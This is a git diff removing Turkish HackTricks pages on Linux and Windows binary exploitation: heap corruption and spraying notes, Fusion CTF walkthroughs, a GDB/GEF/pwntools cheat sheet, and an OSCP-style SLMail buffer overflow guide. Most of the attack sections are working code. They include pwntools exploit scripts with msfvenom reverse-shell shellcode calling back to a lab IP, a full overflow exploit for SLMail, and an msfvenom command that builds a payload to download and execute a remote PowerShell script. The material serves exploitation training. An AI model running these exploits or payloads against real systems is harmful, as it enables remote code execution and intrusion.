parça serbest bırakıldığında, hemen bin'e yerleştirilmez, bunun yerine unsorted bins'de kalır. Ardından, yeni bir parça talep edildiğinde ve önceki serbest bırakılan parça ona hizmet edebiliyorsa, onu geri verir; ancak daha büyük bir parça talep edilirse, unsorted bins'deki serbest bırakılan parça uygun bin'ine yerleştirilir. - -Zayıf kodu elde etmek için bellek talebinin av->max_fast'ten (genellikle 72) büyük ve MIN_LARGE_SIZE'dan (512) küçük olması gerekir. - -Eğer bin'de talep edilen boyuta uygun bir parça varsa, serbest bırakıldıktan sonra o parça geri verilir: - -bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir. - -bin->bk = bck; Önceki parça son parça olur, eğer bck yığına işaret ediyorsa, bir sonraki rezervasyon bu adrese verilecektir. - -bck->fd = bin; Listeyi kapatır, böylece bu bin'e işaret eder. - -Gereksinimler: - -- İki malloc rezervasyonu yapılması, böylece ilki, ikincisi serbest bırakıldıktan sonra taşma yapılabilir (yani, taşma yapılmadan önce ikinci parçadan daha büyük bir malloc rezervasyonu yapılmalıdır). -- Saldırgan tarafından kontrol edilen malloc rezervasyonu. - -Amaç şudur: Eğer serbest bırakılmış bir yığın parçasına ve onun bin'ine taşma yapabiliyorsak, bk işaretçisini değiştirebiliriz. Eğer bk işaretçisini değiştirirsek ve bu parça listenin başı olursa ve yeniden rezervasyon yapılırsa, bin'e, bir sonraki parça (sunulacak olan) için sahte bir adres verildiği söylenir (yığın veya GOT gibi). Böylece, başka bir parça yeniden rezervasyon yapıldığında ve saldırganın buna erişimi varsa, istenen konumda bir parça verilecektir ve orada yazma işlemi yapılabilecektir. - -Değiştirilen parçayı serbest bıraktıktan sonra, serbest bırakılan parçadan daha büyük bir parça rezervasyonu yapılması gerekir, böylece değiştirilen parça unsorted bins'den çıkar ve uygun bin'ine yerleştirilir. - -Bir kez bin'ine yerleştirildiğinde, taşma ile bk işaretçisini değiştirmek için zamanı gelmiştir, böylece istediğimiz adrese işaret eder. - -Bu nedenle, bin, yeterince malloc() çağrısı yapılana kadar beklemelidir, böylece değiştirilen bin yeniden kullanılır ve bin'e, bir sonraki parçanın sahte adreste olduğunu düşündürür. Ardından, ilgilendiğimiz parça verilecektir. - -Zayıflığın mümkün olan en kısa sürede çalışması için ideal olan, zayıf parçanın rezervasyonu, değiştirilecek parçanın rezervasyonu, bu parçanın serbest bırakılması, daha büyük bir parça rezervasyonu yapılması, parçanın değiştirilmesi (zayıflık), zayıf parçayla aynı boyutta bir parça rezervasyonu yapılması ve bu ikinci parçanın istenen adrese işaret etmesidir. - -Bu saldırıyı korumak için, parçanın “sahte” olmadığını kontrol eden tipik bir kontrol kullanılmıştır: bck->fd'nin victim'a işaret edip etmediği kontrol edilir. Yani, bizim durumumuzda, yığında işaret edilen sahte parçanın fd* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için, saldırganın bir şekilde (muhtemelen yığın üzerinden) uygun adrese victim adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür. - -**LargeBin Bozulması** - -Önceki gereksinimlerin yanı sıra, rezervasyon yapılan parçaların boyutları 512'den büyük olmalıdır. - -Saldırı, önceki gibi, bk işaretçisini değiştirmeyi gerektirir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca, değiştirilen parçanın boyutunu, bu boyut - nb < MINSIZE olacak şekilde değiştirmek gerekir. - -Örneğin, boyutu 1552 olarak ayarlamak, 1552 - 1544 = 8 < MINSIZE olmasını sağlar (çıkarma işlemi negatif olmamalıdır çünkü unsigned bir değer karşılaştırılır). - -Ayrıca, bunu daha da karmaşık hale getiren bir yamanın uygulandığı belirtilmiştir. - -**Heap Spraying** - -Temelde, mümkün olan tüm bellek alanını yığınlar için ayırmak ve bunları bir nop yastığı ile doldurmak ve ardından bir shellcode ile doldurmak anlamına gelir. Ayrıca, yastık olarak 0x0c kullanılır. Çünkü 0x0c0c0c0c adresine atlamaya çalışılacak ve bu nedenle, bu adrese yazılan herhangi bir işaretçi aşırı yazılırsa, oraya atlanacaktır. Temel olarak taktik, mümkün olduğunca fazla alan ayırmak ve herhangi bir işaretçiyi aşırı yazıp 0x0c0c0c0c adresine atlamaktır, umarak orada nops bulmaktır. - -**Heap Feng Shui** - -Belleği, rezervasyonlar ve serbest bırakmalar yoluyla, boş parçaların arasında rezervasyon yapılmış parçalar kalacak şekilde düzenlemeyi içerir. Taşma yapılacak tampon, bu parçalardan birinin içinde yer alacaktır. - -**objdump -d yürütülebilir** —> Fonksiyonları disassemble eder\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Fonksiyon adresini alır\ -**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode olduğundan emin olmak ve OpCodes almak için\ -**objdump -t ./exec | grep varBss** —> Semboller tablosu, değişkenlerin ve fonksiyonların adreslerini almak için\ -**objdump -TR ./exec | grep exit(func lib)** —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)\ -**objdump -d ./exec | grep funcCode**\ -**objdump -s -j .dtors /exec**\ -**objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> GOT'ta aşırı yazılacak puts adresini alır\ -**objdump -D ./exec** —> Tümünü disassemble eder, plt girişlerine kadar\ -**objdump -p -/exec**\ -**Info functions strncmp —>** gdb'de fonksiyon bilgisi - -## İlginç Kurslar - -- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) -- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) - -## **Referanslar** - -- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md deleted file mode 100644 index 4a48197e6..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ /dev/null @@ -1,60 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Level00 - -[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) - -1. EIP'yi değiştirmek için offset alın -2. EIP'ye shellcode adresini koyun -```python -from pwn import * - -r = remote("192.168.85.181", 20000) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0xbffff440) # Stack address where the shellcode will be saved -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.recvline() -r.send(buf) -r.interactive() -``` -# Seviye01 -```python -from pwn import * - -r = remote("192.168.85.181", 20001) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0x08049f4f) # Adress of: JMP esp -buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode) -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.send(buf) -r.interactive() -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md deleted file mode 100644 index d828f23e7..000000000 --- a/src/exploiting/tools/README.md +++ /dev/null @@ -1,210 +0,0 @@ -# Exploiting Tools - -{{#include ../../banners/hacktricks-training.md}} - -## Metasploit -``` -pattern_create.rb -l 3000 #Length -pattern_offset.rb -l 3000 -q 5f97d534 #Search offset -nasm_shell.rb -nasm> jmp esp #Get opcodes -msfelfscan -j esi /opt/fusion/bin/level01 -``` -### Shellcodlar -``` -msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c -``` -## GDB - -### Kurulum -``` -apt-get install gdb -``` -### Parametreler -```bash --q # No show banner --x # Auto-execute GDB instructions from here --p # Attach to process -``` -### Talimatlar -```bash -run # Execute -start # Start and break in main -n/next/ni # Execute next instruction (no inside) -s/step/si # Execute next instruction -c/continue # Continue until next breakpoint -p system # Find the address of the system function -set $eip = 0x12345678 # Change value of $eip -help # Get help -quit # exit - -# Disassemble -disassemble main # Disassemble the function called main -disassemble 0x12345678 # Disassemble taht address -set disassembly-flavor intel # Use intel syntax -set follow-fork-mode child/parent # Follow child/parent process - -# Breakpoints -br func # Add breakpoint to function -br *func+23 -br *0x12345678 -del # Delete that number of breakpoint -watch EXPRESSION # Break if the value changes - -# info -info functions --> Info abount functions -info functions func --> Info of the funtion -info registers --> Value of the registers -bt # Backtrace Stack -bt full # Detailed stack -print variable -print 0x87654321 - 0x12345678 # Caculate - -# x/examine -examine/ dir_mem/reg/puntero # Shows content of in where each entry is a -x/o 0xDir_hex -x/2x $eip # 2Words from EIP -x/2x $eip -4 # $eip - 4 -x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -i r eip # Value of $eip -x/w pointer # Value of the pointer -x/s pointer # String pointed by the pointer -x/xw &pointer # Address where the pointer is located -x/i $eip # Instructions of the EIP -``` -### [GEF](https://github.com/hugsy/gef) -```bash -help memory # Get help on memory command -canary # Search for canary value in memory -checksec #Check protections -p system #Find system function address -search-pattern "/bin/sh" #Search in the process memory -vmmap #Get memory mappings -xinfo # Shows page, size, perms, memory area and offset of the addr in the page -memory watch 0x784000 0x1000 byte #Add a view always showinf this memory -got #Check got table -memory watch $_got()+0x18 5 #Watch a part of the got table - -# Vulns detection -format-string-helper #Detect insecure format strings -heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap - -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp - -#Shellcode -shellcode search x86 #Search shellcodes -shellcode get 61 #Download shellcode number 61 - -#Another way to get the offset of to the RIP -1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it -2- ef➤ i f -Stack level 0, frame at 0x7fffffffddd0: -rip = 0x400cd3; saved rip = 0x6261617762616176 -called by frame at 0x7fffffffddd8 -Arglist at 0x7fffffffdcf8, args: -Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 -Saved registers: -rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 -gef➤ pattern search 0x6261617762616176 -[+] Searching for '0x6261617762616176' -[+] Found at offset 184 (little-endian search) likely -``` -### Tricks - -#### GDB aynı adresler - -GDB hata ayıklarken **çalıştırıldığında ikili dosya tarafından kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için: - -- `unset env LINES` -- `unset env COLUMNS` -- `set env _=` _İkili dosyanın mutlak yolunu koyun_ -- İkili dosyayı aynı mutlak yol ile istismar edin -- GDB kullanırken ve ikili dosyayı istismar ederken `PWD` ve `OLDPWD` aynı olmalıdır - -#### Fonksiyonları bulmak için geri izleme - -Eğer **statik olarak bağlı bir ikili dosya** varsa, tüm fonksiyonlar ikili dosyaya ait olacaktır (ve dış kütüphanelere değil). Bu durumda, **ikili dosyanın kullanıcı girişi istemek için izlediği akışı tanımlamak zor olacaktır.**\ -Bu akışı kolayca tanımlayabilirsiniz **gdb** ile ikili dosyayı çalıştırarak, giriş istenene kadar. Ardından, **CTRL+C** ile durdurun ve çağrılan fonksiyonları görmek için **`bt`** (**geri izleme**) komutunu kullanın: -``` -gef➤ bt -#0 0x00000000004498ae in ?? () -#1 0x0000000000400b90 in ?? () -#2 0x0000000000400c1d in ?? () -#3 0x00000000004011a9 in ?? () -#4 0x0000000000400a5a in ?? () -``` -### GDB sunucusu - -`gdbserver --multi 0.0.0.0:23947` (IDA'da Linux makinesindeki çalıştırılabilir dosyanın mutlak yolunu ve Windows makinesindeki yolu doldurmalısınız) - -## Ghidra - -### Yığın ofsetini bul - -**Ghidra**, **yerel değişkenlerin konumu hakkında bilgi sayesinde bir **buffer overflow** için **ofset** bulmak için çok kullanışlıdır.**\ -Örneğin, aşağıdaki örnekte, `local_bc`'deki bir buffer akışı, `0xbc` ofsetine ihtiyacınız olduğunu gösterir. Ayrıca, `local_10` bir canary çereziyse, `local_bc`'den üzerine yazmak için `0xac` ofsetine ihtiyaç olduğunu gösterir.\ -_RIP'in kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._ - -![](<../../images/image (616).png>) - -## GCC - -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\ -**-o** --> Çıktı\ -**-g** --> Kodu kaydet (GDB bunu görebilecek)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux'ta ASLR'yi devre dışı bırakmak için - -**Bir shellcode derlemek için:**\ -**nasm -f elf assembly.asm** --> bir ".o" döndürür\ -**ld assembly.o -o shellcodeout** --> Çalıştırılabilir - -## Objdump - -**-d** --> **Çalıştırılabilir** bölümleri **dağıt** (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadget'ları bulmak, fonksiyon adresini bulmak...)\ -**-Mintel** --> **Intel** sözdizimi\ -**-t** --> **Semboller** tablosu\ -**-D** --> **Hepsini dağıt** (statik değişkenin adresi)\ -**-s -j .dtors** --> dtors bölümü\ -**-s -j .got** --> got bölümü\ -\-D -s -j .plt --> **plt** bölümü **değiştirildi**\ -**-TR** --> **Yeniden konumlandırmalar**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT'da değiştirilmesi gereken "puts" adresi\ -**objdump -D ./exec | grep "VAR_NAME"** --> Statik bir değişkenin adresi (bunlar DATA bölümünde saklanır). - -## Core dump'lar - -1. Programımı başlatmadan önce `ulimit -c unlimited` çalıştırın -2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` çalıştırın -3. sudo gdb --core=\ --quiet - -## Daha Fazla - -**ldd çalıştırılabilir | grep libc.so.6** --> Adres (eğer ASLR varsa, bu her seferinde değişir)\ -**for i in \`seq 0 20\`; do ldd \<Çalıştırılabilir> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" ofseti\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti - -**strace çalıştırılabilir** --> Çalıştırılabilir tarafından çağrılan fonksiyonlar\ -**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi - -## **Inmunity debugger** -```bash -!mona modules #Get protections, look for all false except last one (Dll of SO) -!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) -``` -## IDA - -### Uzak linux'ta hata ayıklama - -IDA klasörü içinde, bir ikili dosyayı linux içinde hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunu yapmak için _linux_server_ veya _linux_server64_ ikili dosyasını linux sunucusuna taşıyın ve ikili dosyanın bulunduğu klasörde çalıştırın: -``` -./linux_server64 -Ppass -``` -Sonra, hata ayıklayıcıyı yapılandırın: Debugger (linux remote) --> Proccess options...: - -![](<../../images/image (101).png>) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md deleted file mode 100644 index db0cc37ee..000000000 --- a/src/exploiting/tools/pwntools.md +++ /dev/null @@ -1,146 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} -``` -pip3 install pwntools -``` -# Pwn asm - -Satırdan veya dosyadan opcode'ları al. -``` -pwn asm "jmp esp" -pwn asm -i -``` -**Seçilebilir:** - -- çıktı türü (ham, hex, string, elf) -- çıktı dosyası bağlamı (16, 32, 64, linux, windows...) -- baytlardan kaçın (yeni satırlar, null, bir liste) -- kodlayıcıyı seç, gdb kullanarak shellcode'u çalıştır ve çıktıyı al - -# **Pwn checksec** - -Checksec script -``` -pwn checksec -``` -# Pwn constgrep - -# Pwn cyclic - -Bir desen al -``` -pwn cyclic 3000 -pwn cyclic -l faad -``` -**Seçilebilir:** - -- Kullanılan alfabe (varsayılan olarak küçük harfler) -- Benzersiz desenin uzunluğu (varsayılan 4) -- bağlam (16,32,64,linux,windows...) -- Ofseti al (-l) - -# Pwn debug - -Bir işleme GDB ekle -``` -pwn debug --exec /bin/bash -pwn debug --pid 1234 -pwn debug --process bash -``` -**Seçilebilir:** - -- Çalıştırılabilir dosya, isim veya pid bağlamına göre (16,32,64,linux,windows...) -- Çalıştırılacak gdbscript -- sysrootpath - -# Pwn disablenx - -Bir ikili dosyanın nx'ini devre dışı bırakın -``` -pwn disablenx -``` -# Pwn disasm - -Hex opkodları disas -``` -pwn disasm ffe4 -``` -**Seçilebilir:** - -- bağlam (16,32,64,linux,windows...) -- temel adres -- renk (varsayılan)/renk yok - -# Pwn elfdiff - -2 dosya arasındaki farkları yazdırır -``` -pwn elfdiff -``` -# Pwn hex - -Onaltılık temsilini al -```bash -pwn hex hola #Get hex of "hola" ascii -``` -# Pwn phd - -Hexdump al -``` -pwn phd -``` -**Seçilebilir:** - -- Gösterilecek byte sayısı -- Satır başına vurgulanan byte sayısı -- Başlangıçtaki byte'ları atla - -# Pwn pwnstrip - -# Pwn scrable - -# Pwn shellcraft - -Shellcode'ları al -``` -pwn shellcraft -l #List shellcodes -pwn shellcraft -l amd #Shellcode with amd in the name -pwn shellcraft -f hex amd64.linux.sh #Create in C and run -pwn shellcraft -r amd64.linux.sh #Run to test. Get shell -pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port -``` -**Seçilebilir:** - -- shellcode ve shellcode için argümanlar -- Çıktı dosyası -- çıktı formatı -- hata ayıklama (dbg'yi shellcode'a ekle) -- öncesi (koddan önce hata ayıklama tuzağı) -- sonrası -- opcode kullanmaktan kaçın (varsayılan: null ve yeni satır değil) -- shellcode'u çalıştır -- Renk/renksiz -- sistem çağrılarını listele -- olası shellcode'ları listele -- ELF'yi paylaşılan bir kütüphane olarak oluştur - -# Pwn şablonu - -Bir python şablonu al -``` -pwn template -``` -**Seçilebilir:** host, port, kullanıcı, şifre, yol ve sessiz - -# Pwn unhex - -Hex'ten string'e -``` -pwn unhex 686f6c61 -``` -# Pwn güncellemesi - -pwntools'u güncellemek için -``` -pwn update -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md deleted file mode 100644 index aad6edfce..000000000 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ /dev/null @@ -1,237 +0,0 @@ -# Windows Exploiting (Temel Kılavuz - OSCP seviyesi) - -{{#include ../banners/hacktricks-training.md}} - -## **SLMail hizmetini kurmaya başlayın** - -## SLMail hizmetini yeniden başlatın - -Her seferinde **SLMail hizmetini yeniden başlatmanız** gerektiğinde, bunu Windows konsolunu kullanarak yapabilirsiniz: -``` -net start slmail -``` -![](<../images/image (23) (1).png>) - -## Çok temel python istismar şablonu -```python -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -buffer = 'A' * 2700 -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -## **Immunity Debugger Yazı Tipini Değiştir** - -`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` yolunu izleyin. - -## **İşlemi Immunity Debugger'a Bağla:** - -**File --> Attach** - -![](<../images/image (24) (1) (1).png>) - -**Ve START butonuna basın.** - -## **Exploit'i gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:** - -![](<../images/image (25) (1) (1).png>) - -Hizmeti her kırdığınızda, bu sayfanın başında belirtildiği gibi hizmeti yeniden başlatmalısınız. - -## EIP'yi değiştirmek için bir desen oluşturun - -Desen, daha önce hizmeti kırmak için kullandığınız tampon kadar büyük olmalıdır. - -![](<../images/image (26) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 -``` -Sömürgeyi değiştirin ve deseni ayarlayın ve sömürgeyi başlatın. - -Yeni bir çökme görünmelidir, ancak farklı bir EIP adresi ile: - -![](<../images/image (27) (1) (1).png>) - -Adresin deseninizde olup olmadığını kontrol edin: - -![](<../images/image (28) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 -``` -Görünüşe göre **buffer'ın 2606 ofsetinde EIP'yi değiştirebiliriz**. - -Sömürücü buffer'ı değiştirerek kontrol edin: -``` -buffer = 'A'*2606 + 'BBBB' + 'CCCC' -``` -Bu tampon ile EIP çökmesi 42424242 ("BBBB")'ye işaret etmelidir. - -![](<../images/image (30) (1) (1).png>) - -![](<../images/image (29) (1) (1).png>) - -Görünüşe göre çalışıyor. - -## Yığın içinde Shellcode alanını kontrol et - -600B, herhangi bir güçlü shellcode için yeterli olmalıdır. - -Tamponu değiştirelim: -``` -buffer = 'A'*2606 + 'BBBB' + 'C'*600 -``` -yeni exploit'i başlatın ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin - -![](<../images/image (31) (1).png>) - -![](<../images/image (32) (1).png>) - -Zafiyet ulaşıldığında, EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için yeterli alanımız olduğunu görebilirsiniz. - -Bu durumda **0x0209A128 ile 0x0209A2D6 arasında = 430B.** Yeterli. - -## Kötü karakterleri kontrol et - -Tamponu tekrar değiştirin: -``` -badchars = ( -"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" -"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" -"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" -"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" -"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" -"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" -"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" -"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" -"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" -"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" -"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" -"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" -"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" -"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" -"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" -"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" -) -buffer = 'A'*2606 + 'BBBB' + badchars -``` -Badchars 0x01'de başlar çünkü 0x00 neredeyse her zaman kötü. - -Bu yeni tampon ile, işe yaramaz olduğu tespit edilen karakterleri silerek istismarı tekrar tekrar çalıştırın: - -Örneğin: - -Bu durumda **0x0A karakterini kullanmamalısınız** (0x09 karakteri nedeniyle hafızada hiçbir şey kaydedilmez). - -![](<../images/image (33) (1).png>) - -Bu durumda **0x0D karakterinin kaçınıldığını** görebilirsiniz: - -![](<../images/image (34) (1).png>) - -## Bir JMP ESP'yi dönüş adresi olarak bulun - -Kullanarak: -``` -!mona modules #Get protections, look for all false except last one (Dll of SO) -``` -Bellek haritalarını **listeleyeceksiniz**. Aşağıdaki özelliklere sahip bazı DLL'leri arayın: - -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **OS Dll: True** - -![](<../images/image (35) (1).png>) - -Şimdi, bu bellek içinde bazı JMP ESP baytları bulmalısınız, bunu yapmak için: -``` -!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) -!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case -``` -**Sonra, eğer bir adres bulunursa, kötü karakter içermeyen birini seçin:** - -![](<../images/image (36) (1).png>) - -**Bu durumda, örneğin: \_0x5f4a358f**\_ - -## Shellcode oluşturun -``` -msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' -msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' -``` -Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), aynı parametreler için farklı shellcode'lar oluşturmak üzere msfvenom kullanarak başka shellcode'lar yaratmayı deneyin. - -**Shellcode'un başına bazı NOPS ekleyin** ve bunu kullanarak ve dönüş adresi ile JMP ESP yaparak exploit'i tamamlayın: -```bash -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -shellcode = ( -"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1" -"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b" -"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4" -"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6" -"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4" -"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36" -"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9" -"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19" -"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef" -"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78" -"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85" -"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4" -"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35" -"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71" -"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8" -"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf" -"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a" -"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5" -"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25" -"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4" 